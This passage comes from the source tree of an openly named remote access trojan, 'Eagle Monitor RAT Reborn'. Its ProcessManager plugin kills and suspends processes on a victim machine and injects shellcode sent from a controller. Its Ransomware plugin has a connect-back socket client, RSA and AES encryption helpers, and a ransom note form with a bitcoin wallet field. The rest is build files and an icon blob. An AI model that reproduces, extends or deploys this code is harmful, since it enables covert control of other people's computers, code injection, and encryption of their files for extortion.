ImageFormat.Png); proc.processIcon = stream.ToArray(); } catch (Exception) { } proc.processId = p.Id; proc.processName = p.ProcessName; if(p.MainWindowTitle == "") proc.processWindowTitle = "N/A"; else proc.processWindowTitle = p.MainWindowTitle; proc.processWindowHandle = p.MainWindowHandle.ToString(); try { proc.is64Bit = CheckIf64Bit(p.Handle); } catch (Exception) { proc.is64Bit = "?"; } //yield return proc; procs.Add(proc); } return procs; } } } ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/Imports.cs ================================================ using System; using System.Runtime.InteropServices; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal static class Imports { [DllImport("ntdll.dll", SetLastError = true)] internal static extern uint NtTerminateProcess(IntPtr ProcHandle, int ErrorStatus = 0); [DllImport("ntdll.dll", SetLastError = true)] internal extern static uint ZwTerminateProcess(IntPtr ProcHandle, int ErrorStatus = 0); [DllImport("user32.dll")] internal extern static bool EndTask(IntPtr hWnd, bool fShutDown, bool fForce); [DllImport("user32.dll")] internal extern static IntPtr SendMessage(IntPtr hWnd, WM_Message Msg, SC_Message wParam, IntPtr lParam); public enum WM_Message : uint { WM_DESTROY = 0x2, WM_CLOSE = 0x10, WM_SYSCOMMAND = 0x112, WM_SETTEXT = 0x000C, WM_APPCOMMAND = 0x0319 } public enum SC_Message : uint { NONE = 0, SC_CLOSE = 0xF060, SC_MAXIMIZE = 0xF030, SC_MINIMIZE = 0xF020, SC_RESTORE = 0xF120 } [DllImport("ntdll.dll")] public extern static uint NtSuspendProcess(IntPtr ProcHandle); [DllImport("ntdll.dll")] public extern static uint ZwSuspendProcess(IntPtr ProcHandle); [DllImport("ntdll.dll")] public extern static uint NtResumeProcess(IntPtr ProcHandle); [DllImport("ntdll.dll")] public extern static uint ZwResumeProcess(IntPtr ProcHandle); } } ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/KillProcess.cs ================================================ using System; using System.Diagnostics; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class KillProcess { private const uint NT_SUCCESS = 0x00000000; internal static bool IsKilled(int processId) { uint ntstatus = 0x1; try { IntPtr procHandle = Process.GetProcessById(processId).Handle; ntstatus = Imports.ZwTerminateProcess(procHandle); } catch {} try { IntPtr procHandle = Process.GetProcessById(processId).Handle; if (ntstatus == NT_SUCCESS) return true; ntstatus = Imports.NtTerminateProcess(procHandle); } catch {} try { if (ntstatus == NT_SUCCESS) return true; //An application should return zero if it processes this message. WM_SYSCOMMAND IntPtr result = Imports.SendMessage(Process.GetProcessById(processId).MainWindowHandle, Imports.WM_Message.WM_SYSCOMMAND, Imports.SC_Message.SC_CLOSE, IntPtr.Zero); if (result == IntPtr.Zero) return true; } catch {} try { if (Imports.EndTask(Process.GetProcessById(processId).MainWindowHandle, false, true)) return true; } catch {} return false; } } } ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/Launch.cs ================================================ using PacketLib; using PacketLib.Packet; using PacketLib.Utils; using System.Threading; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { public static class Launch { public static void Main(LoadingAPI loadingAPI) { switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.PM_GET_PROCESSES: ProcessManagerPacket processManagerPacket = new ProcessManagerPacket(GetProcesses.GetAllProcesses(), loadingAPI.BaseIp, loadingAPI.HWID); ClientSender(loadingAPI.Host, loadingAPI.Key, processManagerPacket); break; case PacketType.PM_KILL_PROCESS: ProcessKillerPacket processToKill = (ProcessKillerPacket)loadingAPI.CurrentPacket; ProcessKillerPacket processKillerPacket = new ProcessKillerPacket(KillProcess.IsKilled(processToKill.processId), processToKill.processId, processToKill.processName, processToKill.rowIndex, loadingAPI.BaseIp, loadingAPI.HWID); ClientSender(loadingAPI.Host, loadingAPI.Key, processKillerPacket); break; case PacketType.PM_SUSPEND_PROCESS: SuspendProcessPacket processToSuspend = (SuspendProcessPacket)loadingAPI.CurrentPacket; SuspendProcessPacket suspendProcessPacket = new SuspendProcessPacket(SuspendProcess.IsSuspended(processToSuspend.processId), processToSuspend.processId, processToSuspend.processName, processToSuspend.rowIndex, loadingAPI.BaseIp, loadingAPI.HWID); ClientSender(loadingAPI.Host, loadingAPI.Key, suspendProcessPacket); break; case PacketType.PM_RESUME_PROCESS: ResumeProcessPacket processToResume = (ResumeProcessPacket)loadingAPI.CurrentPacket; ResumeProcessPacket resumeProcessPacket = new ResumeProcessPacket(ResumeProcess.IsResumed(processToResume.processId), processToResume.processId, processToResume.processName, processToResume.rowIndex, loadingAPI.BaseIp, loadingAPI.HWID); ClientSender(loadingAPI.Host, loadingAPI.Key, resumeProcessPacket); break; case PacketType.PM_INJECT_PROCESS: ProcessInjectionPacket processInjectionPacket = (ProcessInjectionPacket)loadingAPI.CurrentPacket; if (processInjectionPacket.injectionMethod == ProcessInjectionPacket.INJECTION_METHODS.CLASSIC) { ProcessInjection.InjectShellCodeClassicMethod(processInjectionPacket.processId, Compressor.QuickLZ.Decompress(processInjectionPacket.payload)); } if (processInjectionPacket.injectionMethod == ProcessInjectionPacket.INJECTION_METHODS.MAP_VIEW) { ProcessInjection.InjectShellCodeMapView(processInjectionPacket.processId, Compressor.QuickLZ.Decompress(processInjectionPacket.payload)); } break; default: return; } Miscellaneous.CleanMemory(); } private static void ClientSender(Host host, string key, IPacket packet) { ClientHandler clientHandler = new ClientHandler(host, key); clientHandler.ConnectStart(); while (!clientHandler.Connected) Thread.Sleep(125); clientHandler.SendPacket(packet); } } } ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/ProcessInjection.cs ================================================ using System.Diagnostics; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal static class ProcessInjection { internal static void InjectShellCodeClassicMethod(int PID, byte[] shellcode) { ShellCodeLoader.ShellCodeLoaderEx shellCodeLoaderEx = new ShellCodeLoader.ShellCodeLoaderEx(Process.GetProcessById(PID), shellcode); shellCodeLoaderEx.LoadWithNT(); } internal static void InjectShellCodeMapView(int PID, byte[] shellcode) { ShellCodeLoader.MapView mapView = new ShellCodeLoader.MapView(Process.GetProcessById(PID), shellcode); mapView.LoadWithNtMapView(); } } } ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/ProcessManager.csproj ================================================  Debug AnyCPU {D0B4F8E5-B2FE-4546-8468-1AF08B82B50C} Library Properties Plugin ProcessManager v4.5 512 true false none false ..\..\bin\Debug\Plugins\ DEBUG;TRACE prompt 4 none true ..\..\bin\Release\Plugins\ TRACE prompt 4 ..\..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll ..\..\Eagle Monitor RAT Reborn\DLLs\ShellCodeLoader.dll {81e3752a-0ac1-4eb4-8b5f-81eea8ffb0ff} PacketLib Ce projet fait référence à des packages NuGet qui sont manquants sur cet ordinateur. Utilisez l'option de restauration des packages NuGet pour les télécharger. Pour plus d'informations, consultez http://go.microsoft.com/fwlink/?LinkID=322105. Le fichier manquant est : {0}. ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("ProcessManager")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("ProcessManager")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM [assembly: Guid("d0b4f8e5-b2fe-4546-8468-1af08b82b50c")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/ResumeProcess.cs ================================================ using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Text; using System.Threading.Tasks; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class ResumeProcess { private const uint NT_SUCCESS = 0x00000000; internal static bool IsResumed(int processId) { uint ntstatus = 0x1; try { IntPtr procHandle = Process.GetProcessById(processId).Handle; ntstatus = Imports.NtResumeProcess(procHandle); if (ntstatus == NT_SUCCESS) return true; } catch { } try { IntPtr procHandle = Process.GetProcessById(processId).Handle; ntstatus = Imports.NtResumeProcess(procHandle); if (ntstatus == NT_SUCCESS) return true; } catch { } return false; } } } ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/SuspendProcess.cs ================================================ using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Text; using System.Threading.Tasks; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class SuspendProcess { private const uint NT_SUCCESS = 0x00000000; internal static bool IsSuspended(int processId) { uint ntstatus = 0x1; try { IntPtr procHandle = Process.GetProcessById(processId).Handle; ntstatus = Imports.NtSuspendProcess(procHandle); if (ntstatus == NT_SUCCESS) return true; } catch {} try { IntPtr procHandle = Process.GetProcessById(processId).Handle; ntstatus = Imports.ZwSuspendProcess(procHandle); if (ntstatus == NT_SUCCESS) return true; } catch { } return false; } } } ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/obj/Debug/ProcessManager.csproj.CoreCompileInputs.cache ================================================ 7674d4b4fda7b8050d274db9364de6074f819366 ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/obj/Debug/ProcessManager.csproj.FileListAbsolute.txt ================================================ F:\Personal\DesyncOps\bin\Debug\Plugins\ProcessManager.dll F:\Personal\DesyncOps\ProcessManager\obj\Debug\ProcessManager.csproj.AssemblyReference.cache F:\Personal\DesyncOps\ProcessManager\obj\Debug\ProcessManager.csproj.CoreCompileInputs.cache F:\Personal\DesyncOps\ProcessManager\obj\Debug\ProcessManager.csproj.Fody.CopyLocal.cache F:\Personal\DesyncOps\ProcessManager\obj\Debug\ProcessManager.dll F:\Personal\DesyncOps\Remote Access Tool\Plugins\ProcessManager\obj\Debug\ProcessManager.csproj.CoreCompileInputs.cache F:\Personal\DesyncOps\Remote Access Tool\Plugins\ProcessManager\obj\Debug\ProcessManager.dll F:\Personal\DesyncOps\Remote Access Tool\bin\Debug\Plugins\ProcessManager.dll F:\Personal\DesyncOps\Remote Access Tool\Plugins\ProcessManager\obj\Debug\ProcessManager.csproj.Fody.CopyLocal.cache F:\Personal\DesyncOps\Remote Access Tool\Plugins\ProcessManager\obj\Debug\ProcessManager.csproj.AssemblyReference.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\bin\Debug\Plugins\ProcessManager.dll E:\личный\программирование\C#\DesyncOps\Remote Access Tool\Plugins\ProcessManager\obj\Debug\ProcessManager.csproj.AssemblyReference.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\Plugins\ProcessManager\obj\Debug\ProcessManager.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\Plugins\ProcessManager\obj\Debug\ProcessManager.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\DesyncOps\Remote Access Tool\Plugins\ProcessManager\obj\Debug\ProcessManager.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\ProcessManager.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ProcessManager\obj\Debug\ProcessManager.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ProcessManager\obj\Debug\ProcessManager.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ProcessManager\obj\Debug\ProcessManager.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ProcessManager\obj\Debug\ProcessManager.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Debug\Plugins\ProcessManager.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ProcessManager\obj\Debug\ProcessManager.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ProcessManager\obj\Debug\ProcessManager.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ProcessManager\obj\Debug\ProcessManager.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ProcessManager\obj\Debug\ProcessManager.dll ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/obj/Debug/ProcessManager.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/obj/Debug/build.force ================================================ ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/obj/Release/.NETFramework,Version=v4.5.AssemblyAttributes.cs ================================================ // using System; using System.Reflection; [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/obj/Release/ProcessManager.csproj.CoreCompileInputs.cache ================================================ 36c7bd23a762e3ab56e52355427ea08784d8ff0a ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/obj/Release/ProcessManager.csproj.FileListAbsolute.txt ================================================ F:\Personal\DesyncOps\bin\Release\Plugins\ProcessManager.dll F:\Personal\DesyncOps\ProcessManager\obj\Release\ProcessManager.csproj.AssemblyReference.cache F:\Personal\DesyncOps\ProcessManager\obj\Release\ProcessManager.csproj.CoreCompileInputs.cache F:\Personal\DesyncOps\ProcessManager\obj\Release\ProcessManager.csproj.Fody.CopyLocal.cache F:\Personal\DesyncOps\ProcessManager\obj\Release\ProcessManager.dll F:\Personal\DesyncOps\ProcessManager\obj\Release\ProcessManager.csproj.CopyComplete D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\ProcessManager.dll D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.AssemblyReference.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.CoreCompileInputs.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.Fody.CopyLocal.cache D:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ProcessManager\obj\Release\ProcessManager.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\bin\Release\Plugins\ProcessManager.dll E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.AssemblyReference.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.CoreCompileInputs.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.Fody.CopyLocal.cache E:\личный\программирование\C#\Eagle Monitor Reborn\Remote Access Tool\Plugins\ProcessManager\obj\Release\ProcessManager.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.AssemblyReference.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.CoreCompileInputs.cache C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\ProcessManager\obj\Release\ProcessManager.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\bin\Release\Plugins\ProcessManager.dll C:\Users\arsium\source\repos\Eagle Monitor RAT Reborn\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.Fody.CopyLocal.cache C:\Eagle Monitor RAT Reborn\bin\Release\Plugins\ProcessManager.dll C:\Eagle Monitor RAT Reborn\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.AssemblyReference.cache C:\Eagle Monitor RAT Reborn\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.CoreCompileInputs.cache C:\Eagle Monitor RAT Reborn\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.Fody.CopyLocal.cache C:\Eagle Monitor RAT Reborn\Plugins\ProcessManager\obj\Release\ProcessManager.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\ProcessManager.dll C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.AssemblyReference.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.CoreCompileInputs.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.Fody.CopyLocal.cache C:\Users\arsium\Desktop\$$$$$\Eagle Monitor RAT Reborn\Plugins\ProcessManager\obj\Release\ProcessManager.dll F:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\ProcessManager.dll F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.AssemblyReference.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.CoreCompileInputs.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.Fody.CopyLocal.cache F:\$$$$$\Eagle Monitor RAT Reborn\Plugins\ProcessManager\obj\Release\ProcessManager.dll E:\$$$$$\Eagle Monitor RAT Reborn\bin\Release\Plugins\ProcessManager.dll E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.AssemblyReference.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.CoreCompileInputs.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\ProcessManager\obj\Release\ProcessManager.csproj.Fody.CopyLocal.cache E:\$$$$$\Eagle Monitor RAT Reborn\Plugins\ProcessManager\obj\Release\ProcessManager.dll ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/obj/Release/ProcessManager.csproj.Fody.CopyLocal.cache ================================================ ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/obj/Release/_IsIncrementalBuild ================================================ obj\Release\\_IsIncrementalBuild ================================================ FILE: Remote Access Tool/Plugins/ProcessManager/packages.config ================================================  ================================================ FILE: Remote Access Tool/Plugins/Ransomware/ClientHandler.cs ================================================ using PacketLib; using PacketLib.Utils; using System; using System.IO; using System.Net.Sockets; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class ClientHandler : IDisposable { public Host host { get; set; } private Socket socket { get; set; } public bool Connected { get; set; } public string HWID { get; set; } public string baseIp { get; set; } public string key { get; set; } public delegate bool ConnectAsync(); private delegate int SendDataAsync(IPacket data); public ConnectAsync connectAsync; private readonly SendDataAsync sendDataAsync; public ClientHandler(Host host, string key) : base() { this.host = host; this.key = key; sendDataAsync = new SendDataAsync(SendData); } public void ConnectStart() { connectAsync = new ConnectAsync(Connect); connectAsync.BeginInvoke(new AsyncCallback(EndConnect), null); } private bool Connect() { try { socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true); socket.Connect(host.host, host.port); return true; } catch { } return false; } public void EndConnect(IAsyncResult ar) { Connected = connectAsync.EndInvoke(ar); if (!Connected) { ConnectStart(); } } public void SendPacket(IPacket packet) { if (Connected) sendDataAsync.BeginInvoke(packet, new AsyncCallback(SendDataCompleted), null); } private int SendData(IPacket data) { byte[] encryptedData = data.SerializePacket(this.key); int total = 0; int size = encryptedData.Length; int datalft = size; byte[] header = new byte[5]; byte[] temp = BitConverter.GetBytes(size); header[0] = temp[0]; header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; header[4] = (byte)data.PacketType; lock (socket) { try { socket.Poll(-1, SelectMode.SelectWrite); int sent = socket.Send(header); if (size > 1000000) { using (MemoryStream memoryStream = new MemoryStream(encryptedData)) { int read = 0; memoryStream.Position = 0; byte[] chunk = new byte[50 * 1000]; while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { socket.Send(chunk, 0, read, SocketFlags.None); } } } else { while (total < size) { sent = socket.Send(encryptedData, total, size, SocketFlags.None); total += sent; datalft -= sent; } } return size; } catch (Exception) { Connected = false; return 0; } } } private void SendDataCompleted(IAsyncResult ar) { int length = sendDataAsync.EndInvoke(ar); this.Dispose(); } public void Dispose() { socket.Close(); socket.Dispose(); socket = null; } } } ================================================ FILE: Remote Access Tool/Plugins/Ransomware/Encryption/Encrypted.cs ================================================ using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin.Encryption { internal class Encrypted { public Dictionary encryptedData { get; set; } public List clientRSAPrivate { get; set; } } } ================================================ FILE: Remote Access Tool/Plugins/Ransomware/Encryption/RSA.cs ================================================ using System.Collections.Generic; using System.Security.Cryptography; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin.Encryption { internal class RSA { internal static byte[] RSAEncrypt(byte[] data, string strPublicKey) { RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(4096);//4096 rsa.FromXmlString(strPublicKey); byte[] byteEntry = rsa.Encrypt(data, false); return byteEntry; } internal static byte[] RSADecrypt(byte[] data, string strPrivateKey) { RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(4096);//4096 rsa.FromXmlString(strPrivateKey); byte[] byteEntry = rsa.Decrypt(data, false); return byteEntry; } internal static Dictionary GetKey() { Dictionary dictKey = new Dictionary(); RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(4096);//4096 dictKey.Add("PublicKey", rsa.ToXmlString(false)); dictKey.Add("PrivateKey", rsa.ToXmlString(true)); return dictKey; } } } ================================================ FILE: Remote Access Tool/Plugins/Ransomware/Encryption/RSM.cs ================================================ using System; using System.Security.Cryptography; /* || AUTHOR https://bhf.im/threads/438711/ || || Note : set padding to Zeros to fix Invalid Padding : ttps://stackoverflow.com/questions/8583112/padding-is-invalid-and-cannot-be-removed || */ namespace Plugin.Encryption { internal class RSM { public static byte[] RSMEncrypt(byte[] input, byte[] key) { Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(key, new byte[8], 1); AesManaged rijndaelManaged = new AesManaged { Mode = CipherMode.CBC, Padding = PaddingMode.Zeros, Key = rfc2898DeriveBytes.GetBytes(16), IV = rfc2898DeriveBytes.GetBytes(16) }; byte[] array = new byte[input.Length + 16]; Buffer.BlockCopy(Guid.NewGuid().ToByteArray(), 0, array, 0, 16); Buffer.BlockCopy(input, 0, array, 16, input.Length); return rijndaelManaged.CreateEncryptor().TransformFinalBlock(array, 0, array.Length); } public static byte[] RSMDecrypt(byte[] data, byte[] key) { Rfc2898DeriveBytes R = new Rfc2898DeriveBytes(key, new byte[8], 1); AesManaged rijndaelManaged = new AesManaged { Mode = CipherMode.CBC, Padding = PaddingMode.Zeros, Key = R.GetBytes(16), IV = R.GetBytes(16) }; byte[] O = rijndaelManaged.CreateDecryptor().TransformFinalBlock(data, 0, data.Length); byte[] U = new byte[O.Length - 16]; Buffer.BlockCopy(O, 16, U, 0, O.Length - 16); return U; } } } ================================================ FILE: Remote Access Tool/Plugins/Ransomware/FodyWeavers.xml ================================================  ================================================ FILE: Remote Access Tool/Plugins/Ransomware/FodyWeavers.xsd ================================================  A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. A list of unmanaged 32 bit assembly names to include, delimited with line breaks. A list of unmanaged 64 bit assembly names to include, delimited with line breaks. The order of preloaded assemblies, delimited with line breaks. This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. Controls if .pdbs for reference assemblies are also embedded. Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. A list of unmanaged 32 bit assembly names to include, delimited with |. A list of unmanaged 64 bit assembly names to include, delimited with |. The order of preloaded assemblies, delimited with |. 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. A comma-separated list of error codes that can be safely ignored in assembly verification. 'false' to turn off automatic generation of the XML Schema file. ================================================ FILE: Remote Access Tool/Plugins/Ransomware/FormTemplate.cs ================================================ using System.Windows.Forms; namespace Plugin { internal class FormTemplate : Form { public FormTemplate(string name) { this.Name = name; this.Text = name; } protected override void Dispose(bool disposing) { try { if (disposing && components != null) { components.Dispose(); } } finally { base.Dispose(disposing); } } private TextBox textBox1; private TextBox textBox2; private System.ComponentModel.IContainer components; public void InitializeComponent() { System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormTemplate)); this.textBox1 = new System.Windows.Forms.TextBox(); this.textBox2 = new System.Windows.Forms.TextBox(); this.SuspendLayout(); // // textBox1 // this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; this.textBox1.Dock = System.Windows.Forms.DockStyle.Fill; this.textBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox1.Location = new System.Drawing.Point(0, 0); this.textBox1.Multiline = true; this.textBox1.Name = "textBox1"; this.textBox1.Size = new System.Drawing.Size(733, 452); this.textBox1.TabIndex = 0; this.textBox1.Text = "Your files have been encrypted with EM-RAT ransomware feature."; this.textBox1.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; // // textBox2 // this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; this.textBox2.Dock = System.Windows.Forms.DockStyle.Bottom; this.textBox2.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox2.Location = new System.Drawing.Point(0, 452); this.textBox2.Name = "textBox2"; this.textBox2.Size = new System.Drawing.Size(733, 15); this.textBox2.TabIndex = 1; this.textBox2.Text = "BTC Wallet : 1111111"; // // FormTemplate // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.BackColor = System.Drawing.Color.White; this.ClientSize = new System.Drawing.Size(733, 467); this.Controls.Add(this.textBox1); this.Controls.Add(this.textBox2); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Name = "FormTemplate"; this.ShowInTaskbar = false; this.ResumeLayout(false); this.PerformLayout(); } } } ================================================ FILE: Remote Access Tool/Plugins/Ransomware/FormTemplate.resx ================================================  text/microsoft-resx 2.0 System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 AAABAAYAAAAAAAEAIAABUAAAZgAAAICAAAABACAAKAgBAGdQAABAQAAAAQAgAChCAACPWAEAMDAAAAEA IACoJQAAt5oBACAgAAABACAAqBAAAF/AAQAQEAAAAQAgAGgEAAAH0QEAiVBORw0KGgoAAAANSUhEUgAA AQAAAAEACAYAAABccqhmAABPyElEQVR42u2dd5gUxdaH31M9uyw5CCgCkhFEQTFnRFD5vOac9ZoRFVCS 8epVCRLMAXNGzBFQRK8RREByXFkMqIhIZuP8vj96dpldNqeZXfp9nnlmpru6u7qn6jcVzjkFAQEBAQEB AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBZaH+re8Mb3DL201jnY+AgJ0Vi9WF69/6TkNgtUlf GJz4z32nh2P9MAICdjZcrC4s6AUkASeAhsb6QQQE7IzETADADoj6clejW97qGeuHERCwsxFDAaBV1OcQ 8GqjW95sGePnERCwUxFLAaiT5/uuBm80HvZGUiwfSEDAzkQsBSA9n20HA481HvZGDLMVELDzEEsB+LOA 7ZcZ6h/DfAUE7DTEUAC0vJCd9zcdNrFP7PIWELBzEDMBMJhVyO4Q6LVdh72+d6zyFxCwMxDLLsD3wJZC 9tc38WGzoRN2i2EeAwKqNTETgA33nrYN+KyIZK2AD5oPnVCnGKcMCAgoIbFsAQBMKEaaA0ATWgx9LSHG 